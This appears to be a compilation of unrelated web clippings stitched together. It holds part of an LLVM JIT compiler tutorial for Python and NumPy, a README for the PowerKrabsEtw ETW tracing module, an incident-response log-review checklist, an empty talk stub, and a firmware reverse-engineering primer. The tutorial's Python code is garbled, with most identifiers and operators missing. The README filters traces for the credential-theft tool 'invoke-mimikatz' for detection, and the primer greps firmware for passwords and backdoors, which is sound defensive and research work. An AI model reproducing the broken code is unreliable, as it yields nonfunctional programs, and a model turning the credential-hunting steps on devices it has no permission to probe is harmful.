  * **start\_function** : Creates the initial basic block structure. Shifts the instruction "cursor" to the first block and then starts running through each of the statements in the body of the function to add logic.
  * **add\_block** : Creates a new basic block.
  * **set\_block** : Sets the active basic block that we are adding instructions to.
  * **specialize** : Extracts the type of the subexpression from the AST and maps our custom type into a LLVM type.

The metadata for all array arguments is automatically stack allocated in the
entry block so that subsequent accesses just have to look at the constant
`load`'d values. These are stored in the **arrays** dictionary which holds all
NumPy array arguments and their metadata.

The special **retval** reference holds the return value that the function will
yield when the **exit\_block**. in Whenever a name binder occurs we will look
the AST, which is likely a type variable given to us from the inference
engine. Since our type signature is fully determiend at this point we then
need only look in the **spec\_types** dictionary for what concrete type this
subexpression has.

In \[29\]:

[code]

    class LLVMEmitterobject
         __init__ spec_types retty argtys
            function               # LLVM Function
            builder                # LLVM Builder
            locals                   # Local variables
            arrays  defaultdict  # Array metadata
            exit_block             # Exit block
            spec_types  spec_types     # Type specialization
            retty  retty               # Return type
            argtys  argtys             # Argument types
    
         start_function  module rettype argtypes
            func_type  functionrettype argtypes False
            function  Functionmodule func_type 
            entry_block  functionappend_basic_block"entry"
            builder  Builderentry_block
            exit_block  functionappend_basic_block"exit"
            function  function
            builder  builder
    
         end_function
            builderposition_at_endexit_block
    
             'retval'  locals
                retval  builderlocals'retval'
                builderretval
            
                builderret_void
    
         add_block 
            return functionappend_basic_block
    
         set_block block
            block  block
            builderposition_at_endblock
    
         cbranch  true_block false_block
            buildercbranch true_block false_block
    
         branch next_block
            builderbranchnext_block
    
         specialize 
             isinstance 
                return to_lltypespec_types
            
                return 
    
         const 
             isinstance  
                return Constantint_type 
             isinstance float
                return Constantdouble_type 
             isinstance 
                return Constantbool_type 
             isinstance 
                return Constantstringz
            
                raise NotImplementedError
    
         visit_LitInt 
              specialize
               double_type
                return Constantdouble_type 
               int_type
                return Constantint_type 
    
         visit_LitFloat 
              specialize
               double_type
                return Constantdouble_type 
               int_type
                return Constantint_type 
    
         visit_Noop 
            
    
         visit_Fun 
            rettype  to_lltyperetty
            argtypes  to_lltype argtys
            # Create a unique specialized name
            func_name  manglerfname argtys
            start_functionfunc_name module rettype argtypes
    
              llarg argty   function argtys
                  
                llarg  
    
                 is_arrayargty
                      const
                      const
                      const
    
                      builderllarg 
                                                '_data'
                      builderllarg 
                                                '_dims'
                    shape  builderllarg 
                                                 '_strides'
    
                    arrays'data'  builder
                    arrays'dims'  builder
                    arrays'shape'  buildershape
                    locals  llarg
                
                    argref  builderallocato_lltypeargty
                    builderstorellarg argref
                    locals  argref
    
            # Setup the register for return type.
             rettype   void_type
                locals'retval'  builderallocarettype "retval"
    
            visit 
            end_function
    
         visit_Index 
             isinstance     arrays
                  visit
                  visit
                dataptr  arrays'data'
                  builderdataptr 
                return builder
            
                  visit
                  visit
                  builder 
                return builder
    
         visit_Var 
            return builderlocals
    
         visit_Return 
              visit
               void_type
                builderstore locals'retval'
            builderbranchexit_block
    
         visit_Loop 
            init_block  functionappend_basic_block'for.init'
            test_block  functionappend_basic_block'for.cond'
            body_block  functionappend_basic_block'for.body'
            end_block  functionappend_basic_block"for.end"
    
            branchinit_block
            set_blockinit_block
    
            start  visitbegin
              visit
              
    
            # Setup the increment variable
            varname  
              builderallocaint_type varname
            builderstorestart 
            localsvarname  
    
            # Setup the loop condition
            branchtest_block
            set_blocktest_block
              builderICMP_SLT builder 
            buildercbranch body_block end_block
    
            # Generate the loop body
            set_blockbody_block
            visit 
    
            # Increment the counter
              builderconst builder
            builderstore 
    
            # Exit the loop
            builderbranchtest_block
            set_blockend_block
    
         visit_Prim 
               "shape#"
                  
                shape  arrays'shape'
                return shape
               "mult#"
                  visit
                  visit
                   double_type
                    return builder 
                
                    return builder 
               "add#"
                  visit
                  visit
                   double_type
                    return builder 
                
                    return builder 
            
                raise NotImplementedError
    
         visit_Assign 
            # Subsequent assignment
               locals
                  
                  locals
                  visit
                builderstore 
                locals  
                return 
    
            # First assignment
            
                  
                  visit
                  specialize
                  builderalloca 
                builderstore 
                locals  
                return 
    
         visit 
              "visit_  __name__
             hasattr 
                return getattr 
            
                return generic_visit
    
         generic_visit 
            raise NotImplementedError
    
[/code]

This class may look big, but a lot of it is actually just the same logic over
and over. The only non-trivial bit is the loop which is really just simple
four basic blocks that jump between each other based on a loop condition just
like the simple `count` example from the first section. If we graph the
control flow for our loop constuctor it looks like:

<img src='img/Temp2_4888.png' />

So as not to duplicate work we'll create a unique mangled name for each
function that is defined in terms of the hash of it's argument types. Every
autojit'd function can map onto several mangled LLVM functions in the current
module. This guarantees that names don't clash. It also gives us a way to
cache on the argument types so that functions will not get recompiled and
reJIT'd if the arguments given are identical to a function that has previously
run.

In \[30\]:

[code]

     manglerfname 
        return fname  tuple
    
[/code]

Now to actually invoke our function we'll use the ExecutionEngine as before,
but we'd like to able to seamlessly go back and forth between Python/NumPy
types without having to manually convert. To do this we'll use the
ctypes/libffi wrapper to automatically lower the Python types into their C
equivelants. Hat tip to Dave Beazley for documenting this technique in the
Python Cookbook.

In \[31\]:

[code]

    _nptypemap  
         ctypesc_int
         ctypesc_float
         ctypesc_double
    
    
     wrap_module llfunc
        pfunc  wrap_functionllfunc engine
        dispatch  dispatcherpfunc
        return dispatch
    
     wrap_function engine
          pointee
        ret_type  pointeereturn_type
        ret_ctype  wrap_typeret_type
        args_ctypes  wrap_type 
    
        functype  ctypesCFUNCTYPEret_ctype args_ctypes
          engineget_pointer_to_function
    
        cfunc  functype
        cfunc__name__  
        return cfunc
    
     wrap_typellvm_type
          llvm_type
           TYPE_INTEGER
            ctype  getattrctypes "c_int"llvm_typewidth
           TYPE_DOUBLE
            ctype  ctypesc_double
           TYPE_FLOAT
            ctype  ctypesc_float
           TYPE_VOID
            ctype  
           TYPE_POINTER
            pointee  llvm_typepointee
            p_kind  pointee
             p_kind  TYPE_INTEGER
                width  pointeewidth
                 width  
                    ctype  ctypesc_char_p
                
                    ctype  ctypesPOINTERwrap_typepointee
             p_kind  TYPE_VOID
                ctype  ctypesc_void_p
            
                ctype  ctypesPOINTERwrap_typepointee
           TYPE_STRUCT
            struct_name  llvm_typesplit
            struct_name  struct_nameencode'ascii'
            struct_type  
    
             struct_type  issubclassstruct_type ctypesStructure
                return struct_type
    
             hasattrstruct_type '_fields_'
                names  struct_type_fields_
            
                names  "field"    rangellvm_typeelement_count
    
            ctype  ctypesStructurestruct_name ctypesStructure
                                           '__module__' "numpile"
    
            fields   wrap_type
                          names llvm_typeelements
            setattrctype '_fields_' fields
        
            raise Exception"Unknown LLVM type   
        return ctype
    
     wrap_ndarray
        # For NumPy arrays grab the underlying data pointer. Doesn't copy.
        ctype  _nptypemapdtype
        _shape  shape
          ctypesdata_asctypesPOINTERctype
          strides
        shape  ctypesc_int_shape
        return   shape
    
     wrap_arg 
         isinstance ndarray
            ndarray  _type_
              shape  wrap_ndarray
            return ndarray  shape
        
            return 
    
     dispatcher
         _call_closure
            cargs  _argtypes_
            pargs  
            rargs  wrap_arg cargs pargs
            return rargs
        _call_closure__name__  __name__
        return _call_closure
    
[/code]

# Toplevel

The toplevel will consists of the `autojit` decorator which maps the function
through translator, does type inference, and the creates a closure which when
called will automatically specialize the function to the given argument types
and compile a new version if needed. We will cache based on the arguments \(
which entirely define the function \) and whenever a similar typed argument
set is passed we just lookup the preJIT'd function and invoke it with no
overhead.

In \[32\]:

[code]

    module  Module'numpile.module'
    engine  
    function_cache  
    
      TargetMachinefeatures CM_JITDEFAULT
      EngineBuildermodule
    engine  create
    
[/code]

In \[33\]:

[code]

     autojit
        transformer  PythonVisitor
          transformer
           typeinfer
        return specialize  
    
[/code]

In \[34\]:

[code]

     typeinfer
        infer  TypeInfer
          infervisit
          solveinferconstraints
        infer_ty  apply 
        return infer_ty 
    
[/code]

In \[35\]:

[code]

     codegen specializer retty argtys
          LLVMEmitterspecializer retty argtys
          visit
        functionverify
        printfunction
        printmoduleto_native_assembly
        return function
    
[/code]

And finally the argument specializer logic.

In \[36\]:

[code]

     arg_pytype
         isinstance ndarray
             dtype  dtype'int32'
                return arrayint32
             dtype  dtype'int64'
                return arrayint64
             dtype  dtype'double'
                return arraydouble64
             dtype  dtype'float'
                return arrayfloat32
         isinstance     maxint
            return int64
         isinstance float
            return double64
        
            raise Exception"Type not supported:   
    
     specialize infer_ty 
         _wrapper
            types  arg_pytype 
            spec_ty  argtystypes retty"$retty"
            unifier  unifyinfer_ty spec_ty
            specializer  composeunifier 
    
            retty  applyspecializer "$retty"
            argtys  applyspecializer     types
            print'Specialized Function:' argtys retty
    
             determinedretty  determined argtys
                  manglerfname argtys
                # Don't recompile after we've specialized.
                   function_cache
                    return function_cache
                
                    llfunc  codegen specializer retty argtys
                    pyfunc  wrap_moduleargtys llfunc
                    function_cache  pyfunc
                    return pyfunc
            
                raise UnderDeteremined
        return _wrapper
    
[/code]

**OK, so basically we're done** , we built the thing top to bottom so let's
try it out. Keep in mind that this IR is without optimizations so it will do
several naive things that the optimizer will clean up later.

In \[37\]:

[code]

    @autojit
      
        return 
    
      3.1415926
      2.7182818
    print'Result:' 
    
[/code]

[code]

    Specialized Function: [Double, Double] -> Double
    
    define double @add4531207233431041901(double %a, double %b) {
    entry:
      %0 = alloca double
      store double %a, double* %0
      %1 = alloca double
      store double %b, double* %1
      %retval = alloca double
      %2 = load double* %0
      %3 = load double* %1
      %4 = fadd double %2, %3
      store double %4, double* %retval
      br label %exit
    
    exit:                                             ; preds = %entry
      %5 = load double* %retval
      ret double %5
    }
    
    	.file	"numpile.module"
    	.text
    	.globl	add4531207233431041901
    	.align	16, 0x90
    	.type	add4531207233431041901,@function
    add4531207233431041901:
    	.cfi_startproc
    	vmovsd	%xmm0, -8(%rsp)
    	vmovsd	%xmm1, -16(%rsp)
    	vaddsd	-8(%rsp), %xmm1, %xmm0
    	vmovsd	%xmm0, -24(%rsp)
    	vmovsd	-24(%rsp), %xmm0
    	ret
    .Ltmp0:
    	.size	add4531207233431041901, .Ltmp0-add4531207233431041901
    	.cfi_endproc
    
    
    	.section	".note.GNU-stack","",@progbits
    
    Result: 5.8598744
    
    
[/code]

And how about for our dot product function.

In \[38\]:

[code]

    @autojit
      
          
          shape
           range
             
        return 
    
[/code]

We'll get a lot of debug output for this one.

In \[39\]:

[code]

      arrayrange dtype'int32'
      arrayrange dtype'int32'
    
    print'Result:' 
    
[/code]

[code]

    Specialized Function: [Array Int32, Array Int32] -> Int32
    
    define i32 @dot-7244935599725600953(%ndarray_i32* %a, %ndarray_i32* %b) {
    entry:
      %a_data = getelementptr %ndarray_i32* %a, i32 0, i32 0
      %a_dims = getelementptr %ndarray_i32* %a, i32 0, i32 1
      %a_strides = getelementptr %ndarray_i32* %a, i32 0, i32 2
      %0 = load i32** %a_data
      %1 = load i32* %a_dims
      %2 = load i32** %a_strides
      %b_data = getelementptr %ndarray_i32* %b, i32 0, i32 0
      %b_dims = getelementptr %ndarray_i32* %b, i32 0, i32 1
      %b_strides = getelementptr %ndarray_i32* %b, i32 0, i32 2
      %3 = load i32** %b_data
      %4 = load i32* %b_dims
      %5 = load i32** %b_strides
      %retval = alloca i32
      %c = alloca i32
      store i32 0, i32* %c
      %6 = getelementptr i32* %2, i32 0
      %7 = load i32* %6
      %n = alloca i32
      store i32 %7, i32* %n
      br label %for.init
    
    exit:                                             ; preds = %for.end
      %8 = load i32* %retval
      ret i32 %8
    
    for.init:                                         ; preds = %entry
      %9 = load i32* %n
      %i = alloca i32
      store i32 0, i32* %i
      br label %for.cond
    
    for.cond:                                         ; preds = %for.body, %for.init
      %10 = load i32* %i
      %11 = icmp slt i32 %10, %9
      br i1 %11, label %for.body, label %for.end
    
    for.body:                                         ; preds = %for.cond
      %12 = load i32* %c
      %13 = load %ndarray_i32* %a
      %14 = load i32* %i
      %15 = getelementptr i32* %0, i32 %14
      %16 = load i32* %15
      %17 = load %ndarray_i32* %b
      %18 = load i32* %i
      %19 = getelementptr i32* %3, i32 %18
      %20 = load i32* %19
      %21 = mul i32 %16, %20
      %22 = add i32 %12, %21
      store i32 %22, i32* %c
      %23 = load i32* %i
      %24 = add i32 1, %23
      store i32 %24, i32* %i
      br label %for.cond
    
    for.end:                                          ; preds = %for.cond
      %25 = load i32* %c
      store i32 %25, i32* %retval
      br label %exit
    }
    
    	.file	"numpile.module"
    	.text
    	.globl	add4531207233431041901
    	.align	16, 0x90
    	.type	add4531207233431041901,@function
    add4531207233431041901:
    	.cfi_startproc
    	vmovsd	%xmm0, -8(%rsp)
    	vmovsd	%xmm1, -16(%rsp)
    	vaddsd	-8(%rsp), %xmm1, %xmm0
    	vmovsd	%xmm0, -24(%rsp)
    	vmovsd	-24(%rsp), %xmm0
    	ret
    .Ltmp0:
    	.size	add4531207233431041901, .Ltmp0-add4531207233431041901
    	.cfi_endproc
    
    	.globl	dot_2D_7244935599725600953
    	.align	16, 0x90
    	.type	dot_2D_7244935599725600953,@function
    dot_2D_7244935599725600953:
    	.cfi_startproc
    	movq	(%rsi), %rax
    	movq	(%rdi), %rcx
    	movq	16(%rdi), %rdx
    	movl	$0, -8(%rsp)
    	movl	(%rdx), %edx
    	movl	%edx, -12(%rsp)
    	movl	$0, -16(%rsp)
    	jmp	.LBB1_1
    	.align	16, 0x90
    .LBB1_2:
    	movslq	-16(%rsp), %rsi
    	movl	(%rcx,%rsi,4), %edi
    	imull	(%rax,%rsi,4), %edi
    	addl	%edi, -8(%rsp)
    	incl	-16(%rsp)
    .LBB1_1:
    	cmpl	%edx, -16(%rsp)
    	jl	.LBB1_2
    	movl	-8(%rsp), %eax
    	movl	%eax, -4(%rsp)
    	ret
    .Ltmp1:
    	.size	dot_2D_7244935599725600953, .Ltmp1-dot_2D_7244935599725600953
    	.cfi_endproc
    
    
    	.section	".note.GNU-stack","",@progbits
    
    Result: 1035866204
    
    
[/code]

Ok, now let's turn the optimizer on and have it have it automatically
transform not only our naive code, but replace most of our inner loop with
more optimial instructions.

In \[40\]:

[code]

     codegen specializer retty argtys
          LLVMEmitterspecializer retty argtys
          visit
        functionverify
    
          TargetMachine CM_JITDEFAULT features
          build_pass_managers
                                     False
                                     module
                                     
                                     vectorizeFalse
                                     loop_vectorize
        module
    
        printfunction
        return function
    
[/code]

In \[41\]:

[code]

    @autojit
     dot_vectorize 
          
          shape
           range
             
        return 
    
[/code]

With the optimizer in full force LLVM has replaced most of our loop with SIMD
and vector instructions and partially unrolled the loops for the dot product,
as well as doing the usual dead code elimination, control flow simplification.

In \[42\]:

[code]

      arrayrange dtype'int32'
      arrayrange dtype'int32'
    
    print'Result:' dot_vectorize
    
[/code]

[code]

    Specialized Function: [Array Int32, Array Int32] -> Int32
    
    define i32 @dot_vectorize-7244935599725600953(%ndarray_i32* nocapture %a, %ndarray_i32* nocapture %b) nounwind readonly {
    entry:
      %a_data = getelementptr %ndarray_i32* %a, i64 0, i32 0
      %a_strides = getelementptr %ndarray_i32* %a, i64 0, i32 2
      %0 = load i32** %a_data, align 8
      %1 = load i32** %a_strides, align 8
      %b_data = getelementptr %ndarray_i32* %b, i64 0, i32 0
      %2 = load i32** %b_data, align 8
      %3 = load i32* %1, align 4
      %4 = icmp sgt i32 %3, 0
      br i1 %4, label %for.body.lr.ph, label %for.end
    
    for.body.lr.ph:                                   ; preds = %entry
      %5 = zext i32 %3 to i64
      %n.vec = and i64 %5, 4294967288
      %cmp.zero = icmp eq i64 %n.vec, 0
      br i1 %cmp.zero, label %middle.block, label %vector.body
    
    vector.body:                                      ; preds = %for.body.lr.ph, %vector.body
      %index = phi i64 [ %index.next, %vector.body ], [ 0, %for.body.lr.ph ]
      %vec.phi = phi <8 x i32> [ %13, %vector.body ], [ zeroinitializer, %for.body.lr.ph ]
      %6 = getelementptr i32* %0, i64 %index
      %7 = bitcast i32* %6 to <8 x i32>*
      %8 = load <8 x i32>* %7, align 4
      %9 = getelementptr i32* %2, i64 %index
      %10 = bitcast i32* %9 to <8 x i32>*
      %11 = load <8 x i32>* %10, align 4
      %12 = mul <8 x i32> %11, %8
      %13 = add <8 x i32> %12, %vec.phi
      %index.next = add i64 %index, 8
      %14 = icmp eq i64 %index.next, %n.vec
      br i1 %14, label %middle.block, label %vector.body
    
    middle.block:                                     ; preds = %vector.body, %for.body.lr.ph
      %resume.idx = phi i64 [ 0, %for.body.lr.ph ], [ %n.vec, %vector.body ]
      %rdx.vec.exit.phi = phi <8 x i32> [ zeroinitializer, %for.body.lr.ph ], [ %13, %vector.body ]
      %15 = extractelement <8 x i32> %rdx.vec.exit.phi, i32 0
      %16 = extractelement <8 x i32> %rdx.vec.exit.phi, i32 1
      %17 = add i32 %15, %16
      %18 = extractelement <8 x i32> %rdx.vec.exit.phi, i32 2
      %19 = add i32 %17, %18
      %20 = extractelement <8 x i32> %rdx.vec.exit.phi, i32 3
      %21 = add i32 %19, %20
      %22 = extractelement <8 x i32> %rdx.vec.exit.phi, i32 4
      %23 = add i32 %21, %22
      %24 = extractelement <8 x i32> %rdx.vec.exit.phi, i32 5
      %25 = add i32 %23, %24
      %26 = extractelement <8 x i32> %rdx.vec.exit.phi, i32 6
      %27 = add i32 %25, %26
      %28 = extractelement <8 x i32> %rdx.vec.exit.phi, i32 7
      %29 = add i32 %27, %28
      %cmp.n = icmp eq i64 %5, %resume.idx
      br i1 %cmp.n, label %for.end, label %for.body
    
    for.body:                                         ; preds = %middle.block, %for.body
      %indvars.iv = phi i64 [ %indvars.iv.next, %for.body ], [ %resume.idx, %middle.block ]
      %30 = phi i32 [ %36, %for.body ], [ %29, %middle.block ]
      %31 = getelementptr i32* %0, i64 %indvars.iv
      %32 = load i32* %31, align 4
      %33 = getelementptr i32* %2, i64 %indvars.iv
      %34 = load i32* %33, align 4
      %35 = mul i32 %34, %32
      %36 = add i32 %35, %30
      %indvars.iv.next = add i64 %indvars.iv, 1
      %lftr.wideiv = trunc i64 %indvars.iv.next to i32
      %exitcond = icmp eq i32 %lftr.wideiv, %3
      br i1 %exitcond, label %for.end, label %for.body
    
    for.end:                                          ; preds = %middle.block, %for.body, %entry
      %.lcssa = phi i32 [ 0, %entry ], [ %29, %middle.block ], [ %36, %for.body ]
      ret i32 %.lcssa
    }
    
    Result: 1035866204
    
    
[/code]

# Further Work

While this example is kind of simplified \(we only have addition and
multiplication after all\!\), in principle all the ideas and machinary you
would need to build out a full system are basically sketched here. Some
further fruitful areas:

  * Translate all of the Python AST
  * Use subpy to do feature detection before lowering the function into LLVM. Gives better error reporting when an invalid high-level feature is used instead of failing somewhere in the middle of the compiler pipeline.
  * Use the lineno and column information on the Python AST to add better error handling.
  * Add more types and explicit casts or bidirectional type inference.
  * For untranslatable calls, use the Object Layer in the C-API to reach back into the interpreter.
  * Map a subset of numpy calls into LLVM.
  * Use the LLVM nvptx backend for targeting Python logic into Nvidia CUDA kernels.
  * Use pthreads inside of LLVM to logic write multicore programs withou the usual GIL constraints.
  * Use MPI or ZeroMQ's zero-copy array transfer efficiently push distributed numerical kernels across multiple machine.
  * Add composite numerical types, complex numbers, quaternions.

# zacbrown/PowerKrabsEtw

**Created:**| _11/23/2017 9:30:18 AM_  
---|---  
**Updated:**| _11/23/2017 9:30:18 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

###  README.md

# PowerKrabsEtw

PowerKrabsEtw is a PowerShell module built around the krabsetw APIs. It
exposes a subset of functionality directly available in krabsetw and is meant
to streamline ETW experimentation.

This module is currently in an experimental state. This is the first
PowerShell API I've written and while I've had great feedback working with
@Lee\_Holmes, I know it still needs work.

# Getting Help

  * Please feel free to file issues if you have suggestions for improving the API.
  * Join the EtwNerds Slack to chat about ETW and/or PowerKrabsEtw

# Examples

There are two main supported scenarios right now:

  * **`Trace-KrabsEtwProcess`** \- think of this as similar to ProcMon filtered on a specific process. 
    * This is not yet configurable. The data provided includes the following data sources: 
      * IPv4/IPv6 TCP send
      * IPv4/IPv6 UDP send
      * DNS lookups
      * remote thread injections
      * child process creation \(via CreateProcess or similar direct means\)
      * WMI activity
      * registry activity
      * file activity
      * PowerShell function execution
      * DLL load activity
  * Create explicit providers, filters, and traces - this is a more flexible approach and best for experimentation.

**Start powershell.exe with the`-MTA` flag. The module will fail to work
otherwise.**:

[code]

    powershell.exe -mta
    
[/code]

  1. Trace a process's lifetime.

[code]

    PS C:\dev\PowerKrabsEtw\PowerKrabsEtw\bin\x64\Debug> import-module .\PowerKrabsEtw
    PS C:\dev\PowerKrabsEtw\PowerKrabsEtw\bin\x64\Debug> $events = Trace-ProcessWithEtw -ProcessName powershell.exe
    PS C:\dev\PowerKrabsEtw\PowerKrabsEtw\bin\x64\Debug> $events | select -Unique EtwProviderName
    
    EtwProviderName
    ---------------
    Microsoft-Windows-Kernel-Registry
    Microsoft-Windows-Kernel-Process
    Microsoft-Windows-Kernel-File
    Microsoft-Windows-PowerShell
    
    PS C:\dev\PowerKrabsEtw\PowerKrabsEtw\bin\x64\Debug> $events[0]
    
    
    EtwEventId       : 7
    EtwTimestamp     : 11/12/17 11:13:34 PM
    EtwProcessId     : 4980
    EtwThreadId      : 904
    EtwProviderName  : Microsoft-Windows-Kernel-Registry
    KeyObject        : 18446603362009679696
    Status           : 3221225524
    InfoClass        : 2
    DataSize         : 524
    KeyName          :
    ValueName        : 3c74afb9-8d82-44e3-b52c-365dbf48382a
    CapturedDataSize : 0
    CapturedData     :
    
[/code]

  2. Setup a custom trace session for PowerShell events

[code]

    PS C:\dev\PowerKrabsEtw\demo> Import-Module .\PowerKrabsEtw
    >> $trace = New-EtwUserTrace
    >> $provider = New-EtwUserProvider -ProviderName "Microsoft-Windows-PowerShell"
    >> $filter = New-EtwCallbackFilter -EventId 7937
    >> Set-EtwCallbackFilter -UserProvider $provider -Filter $filter
    >> Set-EtwUserProvider -Trace $trace -Provider $provider
    >>
    >> Start-EtwUserTrace -Trace $trace | Where-Object { $_.CommandName -like "invoke-mimikatz" }
    
    
    EtwEventId      : 7937
    EtwTimestamp    : 11/12/17 11:19:47 PM
    EtwProcessId    : 5308
    EtwThreadId     : 2000
    EtwProviderName : Microsoft-Windows-PowerShell
    HostProcess     : c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoLogo -mta
    CommandName     : invoke-mimikatz
    CommandType     : Function
    UserName        : ZACBROWNDDDC\zbrown
    UserData        :
    Payload         : Command invoke-mimikatz is Started.
    
    
    EtwEventId      : 7937
    EtwTimestamp    : 11/12/17 11:19:47 PM
    EtwProcessId    : 5308
    EtwThreadId     : 2000
    EtwProviderName : Microsoft-Windows-PowerShell
    HostProcess     : c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoLogo -mta
    CommandName     : invoke-mimikatz
    CommandType     : Function
    UserName        : ZACBROWNDDDC\zbrown
    UserData        :
    Payload         : Command invoke-mimikatz is Stopped.
    
[/code]

# Future Plans

  * Add ability to specify a directory of YARA and/or SIGMA rules for filtering.
  * Enable kernel provider tracing
  * Enable ability to query about trace sessions and fetch event schemas

# Known Issues

  * If you create many new traces, either by using `Trace-KrabsEtwProcess` or `Start-KrabsEtwProcess`, it is possible to exhaust the available ETW sessions in Windows. The easiest solution is to restart the machine.
    * ETW is best used for long running sessions.
  * If you use `Start-KrabsEtwProcess` without specifying the `-TraceTimeLimit` parameter, you won't be able to capture the objects returned. They'll print to the command line nicely, but they won't be processed against the pipeline.
    * In general, it's better to specify the `-TraceTimeLimit` flag for the time being.

  

# Critical Log Review Checklist for Security Incidents

**Created:**| _3/9/2010 5:05:52 PM_  
---|---  
**Updated:**| _3/9/2010 5:06:19 PM_  
**Author:**| __  
**Tags:**| _cheat sheets Forensics analysis incident response Logs_  
  

# Critical Log Review Checklist for Security Incidents

This cheat sheet presents a checklist for reviewing critical logs when
responding to a security incident. It can also be used for routine log review.
It was authored by Dr. Anton Chuvakin and Lenny Zeltser.

## General Approach

  1. Identify which log sources and automated tools you can use during the analysis.
  2. Copy log records to a single location where you will be able to review them.
  3. Minimize “noise” by removing routine, repetitive log entries from view after confirming that they are benign.
  4. Determine whether you can rely on logs' time stamps; consider time zone differences.
  5. Focus on recent changes, failures, errors, status changes, access and administration events, and other events unusual for your environment.
  6. Go backwards in time from now to reconstruct actions after and before the incident.
  7. Correlate activities across different logs to get a comprehensive picture.
  8. Develop theories about what occurred; explore logs to confirm or disprove them.

## Potential Security Log Sources

Server and workstation operating system logs

Application logs \(e.g., web server, database server\)

Security tool logs \(e.g., anti-virus, change detection, intrusion
detection/prevention system\)

Outbound proxy logs and end-user application logs

Remember to consider other, non-log sources for security events.

## Typical Log Locations

Linux OS and core applications: /var/logs

Windows OS and core applications: Windows Event Log \(Security, System,
Application\)

Network devices: usually logged via Syslog; some use proprietary locations and
formats

## What to Look for on Linux

Successful user login | “Accepted password”,  
“Accepted publickey”,  
"session opened”  
  
---|---  
Failed user login | “authentication failure”,  
“failed password”  
User log-off | “session closed”   
User account change or deletion | “password changed”,  
“new user”,  
“delete user”  
Sudo actions | “sudo: … COMMAND=…”  
“FAILED su”  
  
Service failure | “failed” or “failure”  
  
  

## What to Look for on Windows

Event IDs are listed below for Windows 2000/XP. For Vista/7 security event ID,
add 4096 to the event ID.  
---  
Most of the events below are in the Security log; many are only logged on the
domain controller.  
User logon/logoff events | Successful logon 528, 540; failed logon 529-537, 539; logoff 538, 551, etc   
User account changes | Created 624; enabled 626; changed 642; disabled 629; deleted 630   
Password changes | To self: 628; to others: 627   
Service started or stopped | 7035, 7036, etc.   
Object access denied \(if auditing enabled\) | 560, 567, etc   
## What to Look for on Network Devices

Look at both inbound and outbound activities.  
---  
Examples below show log excerpts from Cisco ASA logs; other devices have
similar functionality.  
Traffic allowed on firewall | “Built … connection”,  
“access-list … permitted”  
  
Traffic blocked on firewall | “access-list … denied”,  
“deny inbound”,  
“Deny … by”  
  
Bytes transferred \(large files?\) | “Teardown TCP connection … duration … bytes …”   
Bandwidth and protocol usage | “limit … exceeded”,  
“CPU utilization”  
  
Detected attack activity | “attack from”   
User account changes | “user added”,  
“user deleted”,  
“User priv level changed”  
  
Administrator access | “AAA user …”,  
“User … locked out”,  
“login failed”  
  
## What to Look for on Web Servers

Excessive access attempts to non-existent files  
---  
Code \(SQL, HTML\) seen as part of the URL  
Access to extensions you have not implemented  
Web service stopped/started/failed messages  
Access to “risky” pages that accept user input  
Look at logs on all servers in the load balancer pool  
Error code 200 on files that are not yours  
Failed user authentication | Error code 401, 403   
Invalid request | Error code 400   
Internal server error | Error code 500   
  

## Other Resources

Windows event ID lookup

A listing of many Windows Security Log events

Log analysis references

A list of open-source log analysis tools

Anton Chuvakin's log management blog

Other security incident response-related cheat sheets

## Post-Scriptum

Found this checklist useful? Tweet it\!

Special thanks to Anand Sastry for providing feedback on this cheat sheet. If
you have suggestions for improving this cheat sheet, please let us know.

This cheat sheet is also hosted on Dr. Anton Chivakin's website.

This cheat sheet is distributed according to the Creative Commons v3
"Attribution" License. File version 1.0.

  

# There's a party at ring0...

**Created:**| _8/13/2010 11:47:32 AM_  
---|---  
**Updated:**| _8/13/2010 11:48:04 AM_  
**Author:**| __  
**Tags:**| _security conference-material kernel_  
  
<img src='img/Temp2_8361' />

# Episode308 - PaulDotCom Security Weekly

**Created:**| _12/9/2012 4:51:33 PM_  
---|---  
**Updated:**| _12/9/2012 4:51:33 PM_  
**Author:**| __  
**Tags:**| _reversing Firmware_  
  

# Tech Segement: Reverse Engineering Firmware Primer

##  Introduction

Reverse engineering firmware is so much fun, but also very frustrating. Using
some techniques I recently discovered, I attempted to rip apart some Dlink
Dir-655 firmware. This device runs MIPS and ubicom boot loader, so its weird.
I was unsuccessful in mounting a file system, however the steps below can be
applied to just about any firmware.

##  How-To Pull Apart Firmware

binwalk rules, it looks at all of the file/file system headers and spits out a
map:

[code]

    # binwalk --dd=gzip:gz:2 DIR655B1_FW203NAB02.bin 
[/code]

[code]

    DECIMAL   	HEX       	DESCRIPTION
    -------------------------------------------------------------------------------------------------------
    0         	0x0       	uImage header, header size: 64 bytes, header CRC: 0x29953343, created: Mon Jun 27 00:33:02 2011, image size: 6395843 bytes, Data Address: 0x40100000, Entry Point: 0x408A6270, data CRC: 0x3D73C1BC, OS: Linux, image type: OS Kernel Image, compression type: gzip, image name: Unknown - IP7160_DIR855_F_Board
    64        	0x40      	gzip compressed data, from Unix, last modified: Mon Jun 27 00:33:00 2011, max compression
[/code]

The "\--dd" option is awesome, because it will find anything that matches
"gzip", extract it, name it .gz and do that 2 times. The we get a 40.gz file
to extract:

[code]

    gzip -d 40.gz
[/code]

The file "40" now represents the data in the firmware \(basically we stripped
the firmware header and uncompressed it\). Now you can run strings against it:

[code]

    strings -8 40 | less
[/code]

I found the file system map:

[code]

    Launching OS on thread: %d entering at %p
    device tree alloc failed
    board node alloc failed
    %p: board node not attached: %d
    bootargs
    bootargs node alloc failed
    mtdparts=ubicom32_boot_flash:128k(bootloader)ro,7552k(upgrade),384k(jffs2),64k(fw_env),64k(artblock)
    start trap handler...
    start usb...
    start ethernet...
[/code]

I need to do some more work to figure out how to map the offsets above to the
data section. Some more greps that are useful:

[code]

    strings -8 40 | grep password
    strings -8 40 | grep backdoor
    strings -8 40 | grep "\<html
[/code]

Next, we can run binwalk against the data file and auto-extract all the JFFS2
filesystems:

[code]

    # binwalk --dd=JFFS2:jffs2:20 40
[/code]

We get a bunch of stuff, including:

[code]

    DECIMAL   	HEX       	DESCRIPTION
    -------------------------------------------------------------------------------------------------------
    781406    	0xBEC5E   	JFFS2 filesystem data big endian, JFFS node length: 52321
    812698    	0xC669A   	JFFS2 filesystem data big endian, JFFS node length: 55456
    814198    	0xC6C76   	JFFS2 filesystem data big endian, JFFS node length: 1121
    <snip>
    7992985   	0x79F699  	JFFS2 filesystem (old) data big endian, JFFS node length: 53312
